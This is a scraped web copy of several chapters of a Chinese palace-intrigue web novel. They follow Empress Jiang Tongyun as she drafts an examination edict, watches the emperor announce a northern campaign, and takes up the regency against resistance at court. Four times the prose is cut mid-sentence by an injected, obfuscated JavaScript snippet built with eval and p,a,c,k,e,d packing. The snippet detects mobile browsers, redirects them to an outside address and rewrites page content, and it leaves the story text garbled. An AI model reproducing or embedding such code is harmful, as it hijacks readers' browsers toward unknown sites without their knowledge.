谢怀雵放下奏折,接过这不知道改了几遍的草拟诏书,仔细看了起来。 “看着是比先前的几封都好多了。” “我可是特意让人找了过往的诏书做参考的!”姜同云简直把草拟诏书的活当成了前世上班改方案那样来做,不仅多次修改,还找了优秀案例做模板。如此这般,反反复复重写了不知道多少次,才终于拿出这次这件稍稍能让她满意的“作品”来。 姜同云之所以这么重视这件事,主要还是想试验一下她身上那个钓鱼系统。 如今她的图鉴里还没完成的成就,就只剩下三个了。 在经历前两个成就的启发后,姜同云对其中一个名为“入吾彀中”的成就忽然有了一些灵感。 “入吾彀中”一词,出自唐末五代王定保所撰写的《唐摭言》,讲的是唐太宗视察御史府,见许多新进士鱼贯而出,大喜之余,直言“天下英雄,入吾彀中矣”。 姜同云原本以为,这是一个通过积累钓鱼数量或者种类解锁的成就。但就凭她这些年在钓鱼方面的辉煌战绩,这个成就的解题思路要是真有这么简单,它早该被完成了。 所以姜同云换了一个路子。 结合她前面通过钓鱼执法,误打误撞解锁成就的经历来看,说不定复刻典故也是这个成就的正确解法之一。 所以她干脆趁此机会,向谢怀雵提出要由自己来草拟加开恩科的诏书。 先有谢怀雵以封后为由加开恩科,后有姜同云亲手草拟的诏书,这场会试多少也算是与姜同云强相关了吧。 要是这样都还不行,那姜同云就—— 再想别的办法好了。 想到这里,姜同云合十双手看向谢怀雵:“那后面的事情,就都看你的了!” ***** 六月初,赶在天气完全变得炎热之前,宫中举行了立后仪典。 姜同云被册立为后不久,加开的会试也正式举行。 六月中,会试放榜。 就在考中的贡士们互相庆祝,并积极地开始筹备马上到来的殿试之时,姜同云也的系统图鉴里,也悄然解锁了一个新的成就。 椒房殿里。 得了好消息的谢怀雵根本等不及让人通报,快步走入殿内,向自家夫人和妹妹分享喜悦之情。 “原本以为,这次会试办得突然,大部分举人都赶不及入京,考生相较往年可能会更差一些。不过现在一看这些考卷,今年的好苗子还是挺多的。” “方才钱相和章相已经看过一遍了,对好几名考生的卷子都多有赞誉。” 钱相和章相就是谢怀雵几经思虑之后请回来的两位尚书仆射。 两位老大人都已是古稀之年,一位原就做过尚书仆射,另一位则出任过侍中一职。两人致仕后一直在家荣养,原本是不打算回朝任职的。 所幸钱相曾是卫大人的上司。知道新帝也邀请了钱相重回朝堂后,被老友说动、决定重新入仕的卫老大人当即去信给自己的老上司,帮忙说项。凭着两人之间的这层旧交关系,钱相思虑再三之后,接下了任命。 有钱相带头,章相那边自然也就水到渠成了。 正是因为有他们两位经验老到之人坐镇,中枢三省和六部才没有因为骤然更换掉一批人而闹出乱子来。 听到谢怀雵的话,姜同云也高兴起来:“钱相和章相当年俱是状元及第。能被他们二人夸赞,想来那些文章确实有独到之处。” 坐在姜同云身边的谢含昭也笑着说道:“能得到这两位老大人的夸奖,今年的贡士一定是相当出挑的。朝上想是很快又要再添能臣干将了。” 虽说今年加开恩科最主要的目的是为了安抚人心。但目前朝廷缺人,能选出足够优秀的人才自然是喜事一桩。 “是啊。”听她俩这么说,谢怀雵更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100908|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴,“前天我们不是在还说,礼部动作实在太慢,卷子都批阅好几天了还没个结果。今天我才知道,不是礼部慢,实在是写的好的策论太多,他们也挑花眼了。” “听说为了这次会元的人选,几个考官之间也争论了好几回。”谢怀雵说着,从怀里掏出一份叠起的卷纸来,“喏,最后才定下这个裴绎来。” 谢怀雵带来的是已经拆掉糊名的原卷,上面考生姓名等信息可谓一目了然。 不过书案前的姜同云和谢含昭,都先被卷纸上那一笔好字吸引了目光。 赞叹两句后,姜同云一目十行地看起策论的内容来。 虽说姜同云的文采并不算好,但她怎么也是从小跟在老爷子身边长大的,熏陶了这么些年,基本的品鉴能力还是在线的。 裴绎能被定为会元,他的这篇策论自然当得起一句“文采斐然”的评价。 只是除了词句之外,更能触动姜同云的是文章本身的内容。 “这篇策论言之有物,里面提到的几点都还颇有可行之处。这个人,好好磨砺培养几年,将来必定大有可为。” “是呢!”谢怀雵一拍手掌,“方才在紫宸殿里已经争过一轮了,中枢三省都想争他去自己那儿。所有人都觉得,他必定会名列一甲。” 按照惯例,殿试一甲(状元、榜眼、探花)会被授予翰林院的官职。中枢三省多有文书工作,尤其是负责草拟诏书的中书省,里面可是有不少从翰林院借来的编外人员。 而对翰林院的官员来说,能被选去三省内,哪怕只是打打下手、抄抄文书,都能在履历表里添上光辉靓丽的一笔。 这个裴绎尚未参加殿试,就能被三省官员争抢,足以说明他的实力了。 见谢含昭还在看那份策论,姜同云便把手中卷纸递去给她,同时随口问道:“那最后是谁争赢了?” “还能有谁?”谢怀雵故意拖长语调,“钱相章相联手,三省之内谁敢相抗?” 姜同云忍俊不禁:“这倒也是。” 朝堂内论资排辈的风气一向严重,光凭“资历”二字,钱相和章相就能压所有官员一头了。更别说章相当年还是出了名的善辩之才。 “不过要我说,另外几位大人也不必灰心。既然这次会试出挑的考生不少,总归还有别的好的给他们挑。” 姜同云说着,抬头和谢怀雵对视了一眼。 夫妻二人心照不宣地笑了。 ***** 半个多月后,殿试顺利结束。 裴绎不负众望,凭借其惊才绝艳的文章策论,被当众点为状元。 是夜,琼林宴上,新科进士们饮酒赋诗,共贺这场人生之喜。 高台之上,姜同云望着下方排列而坐的新科进士,终于切切实实地感觉到,自己已经触摸到了想要的东西。 她拿起面前的杯盏,一口饮尽杯中酒水,笑叹道:“往后会越来越好的吧。” 身旁的谢怀雵温柔但坚定地握住了她的手:“一定会的。” 102. 相争 春寒料峭,细雨如流。 身着深绿色官服的裴绎站在紫宸殿外,默默望着檐下成串低落的水花。 远处,一行亮丽的色彩逐渐走近。 看清领头之人的服饰后,裴绎连忙站直身子,垂下头去。 等对方行至紫宸殿门口,裴绎恭恭敬敬地行了个礼:“参见皇后娘娘。” 这位素来和善的姜皇后免了他的礼,笑着说道:“是裴修撰啊。这两日这么冷,你怎么不进殿里去躲一躲?” 裴绎心里苦笑:要不是为了避风头,他也不想跑外面来吹风啊! 心里虽这么想,嘴上却不好说出来。 裴绎只答:“微臣有些精神不济,所以出来醒醒神。” 话音刚落,就听殿里传来卫侍中铿锵有力的声音:“万万不可啊!” 裴绎顿时觉得有些尴尬,又把脑袋往下埋了埋。 姜皇后面露了然之色:“里面吵起来了?” 作为臣子和下属,裴绎不好背后议论陛下和中枢几位大人,便只道:“陛下与几位大人只是有些意见不合。” 朝堂上意见不合是常有的事,为此稍稍争论两句也很寻常。 听他这么说,姜皇后只是笑了笑,随即抬脚走入紫宸殿内。 留在外面的裴绎舒了口气,又把被风吹得冰凉的手往袖子里拢了拢。 ***** 紫宸殿内。 姜同云站在门口的屏风后面,静静地听着里头的动静。 “……君子不立危墙之下!陛下贵为天子,更应珍惜自身。如何能亲自涉险?!”语调激昂、中气十足,这是卫侍中卫老大人。 “边境局势瞬息万变,若朕只是留在金陵等候战报,根本无法把控情况!” “在其位,谋其政。边境已有诸多将士守卫,陛下既然已经下旨调集兵马粮草前去支援,那么接下去只需安定好后方,相信将士们一定不会叫您失望的。”苦口婆心、情真意切,这是中书令余大人。 就听谢怀雵又列举了几条理由,想要说服殿内几人。 但卫老大人也是据理力争,加上中书令等人在旁附和,双方势均力敌,谁也不肯让步,一时陷入僵持。 姜同云知道他们在吵些什么。 昨日宫门下钥前,有一封八百里加急的军情奏报直冲而入,飞到了谢怀雵的案头。 晋朝再次集结人马,仍由徐王带领南下,直奔宿州而去。 今日一早,谢怀雵就在朝会上将此事告知群臣。到散朝的时候,朝廷已经商量出了一套基础的应对方案,兵部和户部也领了紧急差事,分别开始处理调兵和筹备粮草的事情。 只是,在此基础之上,谢怀雵还存了别的打算。 朝会一散,谢怀雵就召集中枢重臣于紫宸殿内,宣布他要御驾亲征。 几位老大人当场炸了锅,七嘴八舌地开始劝说谢怀雵打消这个可怕的念头。 ——原本被叫来做文书记录工作的裴绎可能就是因为这个,才不得不躲到殿外去吹冷风的。 几位老大人原本以为,陛下年轻气盛,可能只是被北边这种冒犯之举刺激,一时火起,才做出这种冲动的决定。他们劝说几句就能解决此事。 但谢怀雵心里,其实早就已经拿定了主意。 两边都坚持己见不肯退步,就算双方都有意克制情绪,但争论之间也难免会提高嗓门。 紫宸殿里伺候的内监担心这样争下去,几位老大人的身体会先遭受不住。要是他们在紫宸殿里闹出什么毛病来,那麻烦可就大了。 所以方才才有人着急忙慌地去椒房殿请姜同云过来调和一下。 但姜同云根本就没打算进去说和。 谢怀雵想要御驾亲征的事情,姜同云昨夜就已经知道了。 所以对今天这个局面,她也是早有预料的。 听着朝臣们晓之以理、动之以情的话语,姜同云不禁有些晃神。 朝局初定、国无储君、战场上更是危机四伏。 卫大人他们劝说谢怀雵的理由,姜同云是认可的。甚至昨天晚上,她也已经拿同样的话劝过谢怀雵了。 但谢怀雵也拿出了一个非常充分的理由,并且真的说动了她。 “朕收到密报。”紫宸殿里,谢怀雵语调微沉,拿出了他的最后一条理由,也是那条说服姜同云的理由,“晋国皇帝病笃,已于三日昏迷不醒。” 此话一出,紫宸殿内立刻陷入一片寂静。 见节奏暂时回到自己手中,谢怀雵抓紧道:“如今北边朝堂已陷入混乱。几名皇子各据优势,如今正在互相夺权。徐王此番看似来势汹汹,实则孤立无援,不足为惧。” “既是如此,陛下更不应该以身试险!”卫侍中抓住话柄,当即反驳道。 “朕想亲临前线,并不是因为担心徐王再犯我朝。而是因为晋国内乱、自顾不暇,此等天赐良机,决不可疏于我手!” 殿内霎时一静。 此前一直未曾出声的钱相不紧不慢地开了口:“陛下是觉得,可以趁此机会,挥兵北上?” “不错!”谢怀雵回答得斩钉截铁。 纵是稳重如殿内的几位重臣,也在谢怀雵这般掷地有声的话语中,燃起了一丝激动之情。 谢怀雵仔细地给他们剖析情况:“徐王去岁败于宿、颍二州,带出的十二万人马只余三万,可以说是惨败而回。所以他一回去,就在朝堂上受到了来自其兄弟们的大量攻讦。” 这个消息,几位老大人都已经在去年听说过了。 据说因为去年那次大败,北边那位老皇帝气得不轻,徐王差点就被削去王爵、贬为庶人。虽然侥幸之下保住了爵位,但打那之后,徐王就有点一蹶不振。 所以知道这次又是徐王带兵的时候,大家心里多少都是有些轻视的。 手下败将,不足为惧。犯得着御驾亲征这么大的阵仗吗? “据传回的消息来看,徐王去岁大受打击,一直闭门不出。直到年前,晋国皇帝的身体愈发不好,徐王或许是抱了最后一丝希望,发动所有人脉关系,几番波折后,最终说动晋国皇帝,同意再让他带兵南下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109342|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “徐王这次来,本该是破釜沉舟、背水一战。可如今,晋国皇帝陷入昏迷,徐王的兄弟们都在争夺皇位。徐王手握十万重兵,怎么会放任他的兄弟登上皇位?等消息传到徐王耳中,他必会带兵折返!” 对徐王来说,他已经没有更好的选择了。 要是他的兄弟登上皇位,那么领着重兵的他一定会是第一个遭殃的。 带兵回去夺下皇位,几乎是他唯一的出路。 只要徐王离开边境,那就是越朝的机会! 运气差一些,那就拿下几城后收手;要是运气好,那边斗得厉害,他们还能吃下更多! 这一刻,紫宸殿里的所有人,包括站在屏风之后、已经知悉谢怀雵计划的姜同云,都忍不住生出了一股雄心壮志来。 自古以来,由南向北推进都是难上加难。几乎所有立国于南方的政权,最终都会败于北边对手之下。 晋朝建立之后,它就成了盘亘在越朝君臣心中一道挥之不去的梦魇。 如今,对手内部出现了问题。越朝可能迎来了立国百年以来最好的一个挥兵北上、一统中原的机会。 这何如不叫人激动! 姜同云甚至都能听到,紫宸殿里不知道哪位大人克制不住下发出的、再明显不过的喘气声。 不过,老大人到底是老大人。利益再大,他们也不会被冲昏头脑。 一番寂静之后,卫侍中艰难地开了口:“此等良机,确实不容有失。陛下可择一名大将为帅,整兵预备北上一事。” 在这样的诱惑下,卫老大人居然还能保持初心、劝说谢怀雵不要御驾亲征,姜同云简直对他的毅力油然起敬。 就听谢怀雵轻笑出声:“倘若邢国公还在,朕必会将此事全权托付于他。可邢国公去后……朝中恐怕无人能再担此重责。” 谢怀雵搬出邢国公做标杆,连卫侍中都无言以对。 “朕意已决,不必再说。也请诸位放心,朕不是那等轻率冒进之人。说是御驾亲征,朕也只会于后方镇守指挥,不会亲临战场、以身犯险。” 话说到这份上,先前反对的朝臣们也都已经被说服得差不多了。 只有卫侍中,还强撑着问道:“陛下若要离开金陵,那朝局该托付何人之手?” 也不是没有皇帝离开国都的先例,但至少要给他们留个能做决策的人监国吧! 现在陛下没有子嗣,谁能名正言顺地肩负这样的重任啊! 闻听此言,姜同云的心猛地一滞。 来了。她想。 殿内,谢怀雵笑了:“昔日朕于前线厮杀,全靠皇后替朕照应后方。如今朕御驾亲征,国事自然也应决于皇后。” 国事自然也应决于皇后。 昨天夜里,在椒房殿内,谢怀雵好像也是这么同自己说的。 自己当时是怎么回答的? 姜同云有些记不清了。 但她知道,她没有拒绝谢怀雵给的这个机会。 谢怀雵说出这句话后,紫宸殿里静得几乎能听见香炉里火线啃蚀香粉的声响。 103. 朝会 接下来要面对什么?朝臣们的激烈反对吗? 但姜同云已经做过心理准备,并不害怕这些。 她握了握拳头,做好了随时进去直面反对声浪的准备。 然而紫宸殿里静悄悄的,谁也没有发出声音来。 谢怀雵趁势道:“既然诸位都不反对,那此事就先这样决定。从今日起,朕会带皇后一同听政。” 中书令余大人终于找回了自己的声音,磕磕绊绊地说道:“这……这似乎有些不太妥当吧……” “哪里不妥?” “这……自古以来……没有女子当政……”余大人的声音越来越小、越来越慢,最后直接掐灭在了喉咙里。 谢怀雵笑了:“既然余大人说不出什么具体的道理,其他几位大人也没有反对的意见,那这件事就这么定了。诸位先回去吧,还有许多事情等着做呢。” 话都说到这份上了,几位大人自然不好再留。众人一并告退,随后陆续走了出来。 行至门口,几人和站在屏风后的姜同云撞了个正着。 姜同云只当没看见他们脸上各异的神色,大大方方地同他们打了声招呼,便绕过屏风往殿里去了。 紫宸殿外。 走出一段路,等裴绎离开后,余大人率先开火:“方才在殿内,诸位为何都不敢开口呢!” 说着,余大人忍不住点起名来:“钱相、章相,您二位可是三朝老臣!陛下做出如此荒唐之举,您不该规劝一二的吗!还有卫中书!先前反对陛下亲征的时候您是何等口若悬河、滔滔不绝!怎么到了皇后监国的事情上,您就一言不发了呢!” 卫中书扭过头去,闭口不言。 他要怎么说?跳出来骂皇后牝鸡司晨吗? 那可是他老朋友的宝贝孙女!就算他心里也觉得陛下这个决定过于草率,那也还是骂不出口啊! 眼见余大人要把所有人都扫射一遍,钱相笑眯眯地开了口:“少安毋躁,少安毋躁。” 章相更是毫不留情地开了口:“余大人,你赤胆忠心,可你不也没能找出好的理由来反驳陛下吗?方才在紫宸殿里,你没能劝服陛下;如今事情已定,你冲着我们发火又有何用呢?” 章相这话顶得余大人脸色一白。 要是说这话的是旁人,余大人必定要跟他争论到底。可这话是从章相口中说出,余大人立刻意识到,自己方才指责同僚的话说得有些太过了。 尤其被他骂的这三位同僚还都是他的老前辈。 想到这里,余大人绷着一张脸,借口说还有事要处理,率先离去了。 见中书省两位同僚离开,钱相不紧不慢地叹了口气:“余大人年轻,性子还是太急躁了些。” 对着自己的老上司,卫中书也不藏着掖着,直接道:“不瞒您说。我与姜皇后外祖有旧,方才实在不好开口。可您二位不出言反驳,莫非是觉得陛下这个决定可行?” 钱相笑眯眯地把手往袖中一拢:“子舒,你觉得陛下把我们两个老头子请回来是为了什么呢?” 子舒是卫中书的表字。他年轻时性情急躁,师长就给他取了这么一字,意在警醒其行事有度。 只不过卫大人活到如今这个岁数,还会用表字叫他的人已经很少。 重回中枢后,他与钱相基本以官职相称。如今听见这久违的称呼,卫大人当即拱手道:“还请您明言。” “你方才问我们,是不是觉得陛下这个决定可行。那你说说,陛下这个决定有什么不可行的?” 卫大人一时语结。 想了半天,他也只憋出一条来:“皇后娘娘不曾参与朝政,恐怕难当此重任。” “那陛下不是也说了,从今天起就带着皇后听政吗?再说了,陛下也不是那种糊涂人。他虽把监国之责托于皇后,但也一定会寻人辅佐,不会让朝政出乱子的。” 钱相说着,轻轻拍了拍卫大人的胳膊:“咱们这位陛下与先帝不同。你别看他年轻,但他对朝局的把握,绝非当年刚登基的先帝能比。” 那可不是吗?先帝是从储君当到皇帝,难免因为年纪而受到朝臣掣肘。如今这位可是从边境杀上来的,寻常朝臣几个有胆子跟他叫板啊? 卫中书正暗中腹诽,又听面前的钱相道: “能从中枢告老的官员虽然不多,但也不是没有。陛下之所以选了我和章相,大约是因为我俩够老,脾气也够好。陛下要的不是位高权重的宰相,他要的只是能暂时帮他稳住朝局的人。这个人可以是你,可以是我,也可以其他任何人。明白吗?” 见卫大人还没反应过来,章相便摆了摆手:“我说直白点吧。陛下叫我们回来,只是希望能用我们压住底下那些朝臣,然后快速帮他培养出一批新的、得用的人才来。去岁恩科入仕的那批进士,现今大多都在朝中各部学习。他们才是未来朝堂的中流砥柱。” “至于咱们几个老家伙,只要踏踏实实的、别惹出什么事端来,等着干完这几年,就能再次荣归故里了!” ***** 紫宸殿里。 姜同云走到谢怀雵身边,被他拉着在椅子上坐下。 “我刚才还以为,你要跟那几位大臣们再吵一架呢!” 谢怀雵笑了:“吵架的准备我当然也做了。不过钱相和章相是明白人,只要他俩不出言反对,这事基本是十拿九稳的。” 也确实不出谢怀雵所料,钱相和章相闭口不言,其他人看着风向也没有开口。最后只有中书令不痛不痒地争了几句,没有对最终结果造成丝毫影响。 谢怀雵拿过书案上的奏折:“既然我都已经说了要开始带着夫人听政,那夫人就快帮我一起把这些东西都看完吧!” 姜同云接过一份,翻开看了两行,忽然觉得有些不对:“……你去年起就已经在让我帮你批阅奏章了。是不是早就料到会有这一天了?” 谢怀雵笑了:“被你发现了。” “也不能算早就料到。晋国争权内乱的事情,谁能一开始就预知呢?我只是觉得,目前我朝确实没有卓越的将帅之才。万一将来战事再起,需要我亲上战场,届时我能信任的,唯有你一人而已。” 能得到这样毫无保留地信任,真的很难不让人感动。 姜同云举起奏折,偷偷遮住自己有些发热的脸颊。 “现在中枢六位重臣这关算是过了。但其余朝臣,你想好要怎么应对了吗?” 谢怀雵挑眉:“放心。” ***** 谢怀雵说到做到,当天下午就让姜同云留在紫宸殿,一起跟着旁听他处理政务。 因要应对战事,下午最先被叫到紫宸殿迎接冲击的就是兵部和军器监的官员。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114322|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未免官员闹意见影响工作效率,谢怀雵还点名让钱相和章相领着他们一起过来。 两位老大人:认命吧。拿人家的俸禄,就得替人家干活啊。 有两位尚书仆射坐镇,与朝臣的第一次交锋,就在一片诡异的“和谐”气氛里落下了帷幕。 兵部和军器监的官员不是对皇后听政的事情没有意见。奈何两位尚书仆射都没有开口反对,就凭他们自己面对陛下,实在是……有些底气不足啊。 旗开得胜,谢怀雵又趁热打铁,借着处理政务的机会,用同样的手段快准狠地将皇后听政之事针对性地铺展开来。 等第二批官员们稀里糊涂地干完活,回去一合计,惊讶地发现居然谁都没有机会提出反对意见。 有一部分官员(以本来对皇后好感就挺高的户部为首)干脆放弃了挣扎。 他们的理由非常充分:这种事情,你没有在开始的时候掐掉苗头,后面再想反对那几乎是不可能成功的。 有人接受,自然也就有人极力反对。 一些认为让皇后听政会重复吕武之祸的官员决定联合起来,在下次朝会的时候联名上表,劝谏陛下打消此念。 他们做足了准备,还想了好几套辩词,就等着在朝会上干个大的。 然后,朝会那天,谢怀雵直接带着姜同云一起来了。 好啊!这不单是听政了,皇后都直接上朝了! 看着在帘后坐定的姜皇后,这班朝臣顿时群情激奋,打算等会儿朝会一开始,就直接展开语言攻势。 然而…… 谢怀雵根本没打算给他们这个机会。 内监一宣布早朝开始,谢怀雵就抢先开口了:“边境战局危急,朕这几日夜不能寐,苦思冥想之后,终于定下一事。” 谢怀雵提了边境战况,朝臣们也只能耐住性子,先听陛下要讲些什么。 谁知道下一句,谢怀雵就他们脑袋上砸了一个响雷:“朕打算御驾亲征。” !!! 此话一出,再没有人关心皇后听政的事情了。第一次知道此事的朝臣们都争相劝谏,想要让谢怀雵放弃这种危险行径。 只有早就知道这件事的钱相等人毫无反应。性格更直率的章相甚至还有心思扭过头去观察别人的反应。 坐在帘幕后的姜同云也是第一次经历这样的场景。 怎么说呢…… 就挺菜市场的。 这些朝臣们平时看着衣冠楚楚、彬彬有礼,着急起来跟村口掐架的人好像也没有区别。 果然,世界就是一个巨大的草台班子。 姜同云都能稳住,早就熟悉朝堂的谢怀雵更是拿出了看戏的姿态来对待朝臣们的劝阻。 朝臣们七嘴八舌地讲了半天,谢怀雵只托腮看着他们,一个字都没有回应。 半个多小时后,意识到陛下其实根本没有用心在听的官员们终于陆续闭上了嘴巴。 “诸位都说完了?”确定无人再开口,谢怀雵才不紧不慢地说道,“朕意义绝,诸位不必再劝。” 面对这群官员,谢怀雵甚至都不打算解释缘由,直接就把事情砸定:“三日后,最后一批兵马会在金陵集结。届时朕会率领这批人马前往宿州支援。” “朕离京之后,便由中枢六位重臣辅佐皇后监国。国内诸事,皆可决于皇后。” 104. 起始 谢怀雵先抛出御驾亲征一事,成功消耗掉朝臣们的精力。随后直接拍板由姜同云监国的事情,让持反对意见的朝臣们一时不知该先劝阻哪个才好。 不过能参与朝会的都是品级不低的官员,一个个脑子都好使得很。 他们立刻就想到,自己应该先阻止陛下御驾亲征。 只要能拦住陛下离京,那皇后监国的事情自然也就做不得数了! 可赶在他们理顺思路重新开口之前,由钱相和章相带头,中枢六位重臣全都应承下了辅佐皇后一职。 领头的那几个率先倒向帝后,马上就有一批机灵的官员跟着转变了口风。余下的人虽还有不服,但大多数人选择明哲保身,闭口不言。 一番操作之下,朝上虽然还有反对之声,大多数官员也是面服心不服,但到底是把谢怀雵御驾亲征和姜同云监国这两件事敲定了。 姜同云的目光越过帘幕和谢怀雵的背影,望向立于下方的朝臣。 自己接下去的战场,就在这儿了。 ***** 二月中,谢怀雵集结人马,奔赴宿州。 而在两国交界之处,刚和宿州守将试探性地交过两次手的徐王,也收到了历经千辛万苦之后,才突破他那些兄弟联手设下的重围,终于传到他手上的消息。 他的父皇、晋朝皇帝,已病至弥留。 如今国都之内,皇位争夺之战已至最紧要的关头。 一番纠结之后,徐王果然如谢怀雵所预料的那般,选择收兵折返。 “昨日,徐王率领晋军退走。宿州守军奉陛下之令,出城阻击。晋军无心恋战,我军于两国交界处成功剿敌八千余、俘敌过万。” 紫宸殿里,正在召开临时的小朝会。 姜同云坐在主座旁另摆的椅子上,听兵部尚书汇报最新传回的军情奏报。 “目前宿州军已退回城内,等候陛下带兵赶到。” 靠着谢怀雵去年就开始铺垫打下的底子,姜同云对大部分的朝政都很快上手。只不过考虑到现在还有不少人对自己持反对意见,姜同云并没有马上拾起决策者的身份,而是尽力扮演好一个“需要辅佐”的皇后角色,在各项事务的决断上都会积极听取各部官员的意见。 虽然最终采不采取人家的建议还是姜同云自己说了算,但礼贤下士的态度要先摆出来。 这样的做法成功地打消了一部分人对她的敌意。从谢怀雵离京到现在,不过短短几日,但至少六部的官员在日常工作中,都已经开始积极配合姜同云了。 至于剩下来的那些嘛,姜同云有的是耐心,可以徐徐图之。 听完兵部尚书的汇报,姜同云笑着说道:“辛苦林尚书了。从越州调集的五万人马,如今已行至何处了?” 越、晋两国交界线绵长,谢怀雵想打反攻战,光靠宿州守军和他带过去的那些人,明显是不够的。 所以离京之前,谢怀雵已经提前做了下一步的安排,又把越州的五万驻军调至前线支援。 时机不等人,这一批五万人就没有在金陵集合,而是由原本的越州驻军统领关正青带领,直接北上。 “算时间的话,如今应该快到宣州地界了。” 姜同云点了点头,又转向户部尚书,开始询问后续粮草筹备状况。 等盯完这个最大、最要紧的项目进度,姜同云才有空问些别的:“有关今年重开乡试的公文,可都已经发往各州了?” 重开乡试的事,从去年恩科结束之后就已经开始在提了。礼部筹备了半年多,现在答起话来也是底气十足:“一应公文都已经在昨日发出去了。” 姜同云点着各部目前最要紧的工作问了一圈,最后问到了吏部:“去岁各州官员考课之事,考功司可已复核完毕?” 吏部尚书起身作答:“回禀皇后娘娘,考课之事,吏部目前正在加急办理。但各州官员加起来数量众多,考功司人手不足,可能还要再花上一些时间。” 在场的人都是官场老油条,谁都听得出来,吏部尚书这番话答得有多敷衍。 看着态度恭谨但毫无惧色的吏部尚书,姜同云微微笑了。 “本宫记得,陛下去岁要求各州课考之时,就已经给吏部定过时限了。王大人当时好像是在陛下面前立过军令状,说会在今年三月之前办完此事的。钱相,是有这么回事的吧?” 被点到的钱相当即站起身来:“确有此事。” “复核之后还要发放考牒。距离三月还有十来天,王大人可要抓紧时间了。要是人手实在不够,本宫可以帮你寻些人过去帮忙。” 听到这话,王尚书立刻急了:考课可是吏部最重要的一项权柄,哪能这么轻易就分给别人! 他立刻道:“娘娘放心,微臣一定会在时限之内办完的!” 他本以为,如今陛下不在金陵,这位姜皇后又是新官上任、对朝堂之事还不太熟悉,去年考课的事情,可以再拖上一段时间,自己也能借机捞上一笔。 谁知道皇后不仅连他去年答应的时限都知道得一清二楚,还拿找人分权来威胁自己! 为今之计,也只能先抓紧去办了。不管怎样,都不能让皇后借机派人插手! 想到这里,王尚书又补充了一句:“复核之事已近尾声,考功司一定能准时完成此次考课的!” 听他这么说,姜同云故意流露出了明显的遗憾之色:“好吧。那就有劳王尚书多费心了。” 看着皇后脸上不加掩饰的神情,王尚书心里一紧,答应得愈发坚定。 吓唬过想耍滑头的吏部尚书后,余下的几人就都老实了许多。 小会散后,姜同云回到侧殿书房内,开始批阅奏折。 直到宫人来提醒已临近午膳时间,她才放下手里做到一半的工作,先去用餐。 椒房殿里,见到姜同云回来,谢含昭立刻招呼她来吃饭。 一旁的雍国夫人拉着女儿起身,朝姜同云行了一礼。 四人在桌边坐下,宫人迅速摆好碗筷。 几人边吃边聊。 闲话几句家常后,姜同云才提起正事来:“关于新的尚宫人选,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118488|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们拿好主意了没?” 尚宫局现任尚宫年事已高,马上就要离宫了。 姜同云新手上路,每天光应对朝政就已经够让她头疼的了,根本无暇他顾。所以干脆把挑选新尚宫的任务托付给了谢含昭。 面对现任尚宫推荐出来的几个人选,谢含昭一时拿不定主意,就求了姜同云,给自己找了个帮手。 雍国夫人今天带着女儿进宫,就是来帮谢含昭一起参谋的。 这会儿听姜同云问起此事,谢含昭连忙咽下嘴里的食物,回答道:“大嫂和我今早已经分别见过那几个待选之人了。我们都觉得尚宫局的潘司记最为适合。” “那就提拔那位潘司记接任尚宫一职。至于空出来的司记职位,你们按旧例看着递补就好。” 姜同云奉行用人不疑的准则。既然谢含昭和雍国夫人都觉得这位潘司记合适,那她也不必费心再看。 三言两句地敲定这件事后,姜同云给谢含昭夹了一筷子菜:“这些天真是辛苦你们了。” 谢含昭笑着摇了摇头:“不辛苦。姜姐姐现在这么忙,我能帮你分担一点也好。” 一旁的雍国夫人也笑着应和两句,顺便谢了姜同云前阵子派太医去给她女儿治病的事情。 餐桌上的气氛一派和谐。 顺着小郡主的话题聊了几句后,谢含昭忽然想起一件事来:“对了。今早我还收到了钟姐姐寄回来的信。她和宋姐姐马上就要离开扬州,继续北上了。” 去年,赵王弑君一案查清之后,钟家兄弟三人因没有牵涉其中,被无罪释放。 虽然因为他们和谢怀晟的关系,钟家人的官职都被撤掉,但好歹还算保住了淮阳侯府的爵位。 情况安稳下来之后,钟蘅和宋芷就在姜同云的安排下回到了自己家中。 